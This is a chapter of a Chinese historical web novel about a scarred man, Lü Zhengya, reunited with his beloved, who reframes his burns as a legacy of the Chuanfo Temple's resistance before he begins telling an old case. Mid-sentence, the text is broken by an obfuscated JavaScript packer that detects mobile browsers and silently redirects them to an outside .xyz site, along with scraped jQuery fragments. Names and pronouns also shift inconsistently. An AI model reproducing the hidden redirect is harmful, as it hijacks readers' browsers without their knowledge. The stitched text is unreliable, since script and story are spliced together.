众人来到大堂重新坐下,倾城美人也依然死死抱着吕正雅的手臂不松开。
没有人主动说话,毕竟之前倾城美人那撕心裂肺又饱含狂喜的哭笑声,以及压抑不住的哽咽似乎在还耳边回荡。
——那声音里蕴含的失而复得的巨大冲击和十年刻骨思念的爆发,让旁观者无不动容。
吕正雅直到此时,身体依然绷紧僵硬,他就直直的坐在那里,每一块肌肉都贲张着抗拒的力道。
甚至,他都不敢用那只完好的右眼回望自己的爱人。
躲闪的目光内是痛楚,是愧疚,是深埋心底不敢触碰的旧伤被狠狠撕裂的剧痛,更有一种本能的、觉得自己不配身边爱人的卑微。
毁容后的十年,吕正雅早已习惯了阴影和躲避,习惯了被人视为可怖的怪物。这突如其来的拥抱,这滚烫的泪水,这近在咫尺的触碰,对他而言不是救赎,而是比当年烈火焚身更尖锐的酷刑!
当倾城美人的手再一次试图抚上他脸上的疤痕时,他下意识地偏开头,喉结剧烈地上下滚动,干裂的嘴唇翕动了几下,却只发出破碎而嘶哑的气音:“......别......看......脏............”
“脏?!”
倾城美人像是被这个字狠狠刺伤,猛地抬起泪眼婆娑的脸,声音陡然拔高,带着一种近乎凶狠的决绝。
“你告诉我,什么是脏?是那些躲在阴沟里算计家国、卖祖求荣的蠹虫脏?还是这把火——”他的指尖再次重重划过吕正雅脸上的疤痕,带着不容置疑的力道,“——烧在你身上,替我挡下的灾殃脏?!”
他环视四周,目光扫过赵无眠、莫惊春、沈三和吕清直,最后落回吕正雅那只盛满痛苦和闪躲的右眼,字字泣血,掷地有声:
“都给我听好了!这张脸,是拜谁所赐?是拜那些觊觎我倾城一族的祖宗基业、像毒蛇一样盘踞在暗处的敌国奸细所赐!是拜那些妄图将我浮梁千年窑火、将我传佛寺先圣以命相护的黑釉秘法据为己有的豺狼所赐!更是拜我——”他的声音陡然哽咽,带着无尽的自责和痛悔,“拜我当年拖累了你所赐!”
最后一句如同重锤,狠狠砸在吕正雅心上,也砸在众人心头。
倾城美人眼中的疯狂戾气在泪水的冲刷下渐渐沉淀,化为一种深沉的、不容置疑的坚定。他拉起吕正雅的手贴在自己的脸侧,仿佛这是他生命唯一的浮木。
接着,他的声音低沉下来,却带着磐石般的重量。
“阿呆哥,看着我。”
他强迫吕正雅转向自己,逼他直视自己的眼睛。
“当年传佛寺,我们的曾祖父辈,面对屠刀架颈、烈焰焚寺,可曾有一人低头?可曾有一人觉得护住祖宗留下的东西是‘脏’?那黑釉的方子,是融了他们的骨血才传下来的!你这身伤,就是传佛寺的骨气!是罗汉的硬气!谁敢说脏?谁敢嫌?!”
倾城美人那掷地有声的话语,如同九天惊雷,轰然炸响在寂静的堂前,每一个字都带着滚烫的温度和千钧的重量,狠狠砸在吕正雅的心上,更砸碎了那层蒙蔽他双眼的、名为“屈辱”、“自厌”与“卑微”的厚厚冰壳。
吕正雅整个人僵住了。
他被迫转向倾城美人的脸,苍白得没有一丝血色,那双曾黯淡失神、因伤痛和自卑而刻意回避所有人的眼睛,此刻却如同被无形的力量强行撑开,死死地、一瞬不瞬地钉在倾城美人那双燃烧着灼灼烈焰的明眸之中。
震惊,是排山倒海、将他瞬间淹没的巨浪!
他的瞳孔在剧震中收缩到了极致,仿佛要将眼前这张绝美而坚毅的脸庞,连同他话语中那血火交织、惊心动魄的历史烙印,一丝不落地刻进灵魂深处。
时间仿佛在这一刻凝固、碎裂。
耳边是死一般的寂静,又仿佛充斥着百年前传佛寺那夜熊熊烈火的噼啪爆响、金铁交鸣的刺耳撞击、以及先圣们面对屠刀与烈焰时,那一声声不屈的、沉默的呐喊!
“传佛寺…曾祖父…屠刀架颈…烈焰焚寺…”
这些词语像烧红的烙铁,狠狠烫在吕正雅的神经上。他从未想过,自己这身被视为污点、令他抬不起头的累累伤痕,竟能与那样惨烈而崇高的往事相连!
那黑釉瓷器的制作技术——不再是冰冷的文字或传承,而是融着先人骨血的圣物——是代代相传、以命相护的魂!
一股滚烫的、混杂着剧痛与战栗的气流猛地从肺腑深处冲撞而上,直冲喉头,却又被巨大的震撼死死堵住。
他的嘴唇剧烈地颤抖着,却发不出任何声音,只有急促而破碎的喘息,如同濒死的鱼。一股难以言喻的酸涩与灼热瞬间冲上他的眼眶,视野在刹那间模糊了。
倾城美人炽烈的目光和话语,仿佛一把利剑,劈开了他心中积郁已久的黑暗迷雾。
是他,将自己从自我唾弃的深渊边缘,用这雷霆万钧的宣告,一把拽了回来!
一滴滚烫的泪,终于挣脱了颤抖的眼睫,重重地砸落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944102|167948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在吕清正布满伤疤的手背上,那温度烫得他心尖一缩。紧接着,是第二滴,第三滴…无声的泪水汹涌而出,冲刷着他脸上的污迹与自厌的尘埃。他喉头剧烈滚动,仿佛用尽了全身的力气,才从那巨大的震撼与感激的漩涡中,挣扎着发出一个破碎而哽咽的音节。
“......阿美......”
他看着她,泪眼婆娑,震惊未褪,但眼底深处那长久以来的死寂与灰败,已被一种剧烈的、近乎疼痛的感激和重新燃起的、微弱却坚定的光所取代。
倾城美人看着吕正雅眼中翻腾的巨浪与滚落的泪水,明白自己心中真正的“吕正雅”回来了。
众人根本无法融入其中,唯有沉默。
倒是之前一直共情的莫惊春此时却机敏起来,捕捉到一个熟悉的名字。
“传佛寺?”她下意识地轻声重复,心头莫名震动。赵无眠的眼神也骤然锐利如刀锋,紧紧锁住倾城美人。
毕竟这个名字,在镇抚司某些尘封的、语焉不详的卷宗里,也曾惊鸿一现,却始终笼罩着重重迷雾。
“不错!传佛寺!”
吕正雅轻轻拍了拍倾城美人的手臂,虽然依旧是嘶哑的声音,但此时莫名的带上一种奇异的让人信服的力量。
“倾城,冷静些。还有正事未了。”
他抬眼,目光越过倾城的肩膀,看向一直沉默坐在主位的赵无眠。
“赵大人,见笑了。此间种种,皆因当年传佛寺一桩旧案而起。内情……牵涉极广。”他顿了顿,那只独眼里的光芒陡然变得锐利而沉重,如同淬火的寒铁,“更关乎庸国……国祚安危。”
“既如此......”赵无眠眼神一凝,他沉声道:“吕正雅,你既言愿为内线,以青彩釉秘技及自身为质,换取镇抚司庇护吕家血脉,本官便需知晓一切前因后果。传佛寺之事,与你吕家,与倾城美人,与窑务司贪渎,究竟有何关联?你脸上的伤,又是从何而来?”
他的目光如鹰隼般扫过吕正雅狰狞的脸和倾城美人紧紧相扣的手指。
吕正雅深吸一口气,那只独眼缓缓抬起,望向虚空,仿佛穿透了时光的尘埃,看到了某个烈火焚天的血色黄昏。
“大人所问,皆系于一源。此事,需从百年前,传佛寺那场……宁为玉碎的血火之夜说起……”
他的声音嘶哑沉缓,每一个字都像从沉重的磨盘下碾过,似乎还带着一种穿越百年的悲怆,将众人拉入那个风雨飘摇、烽火连天的年代。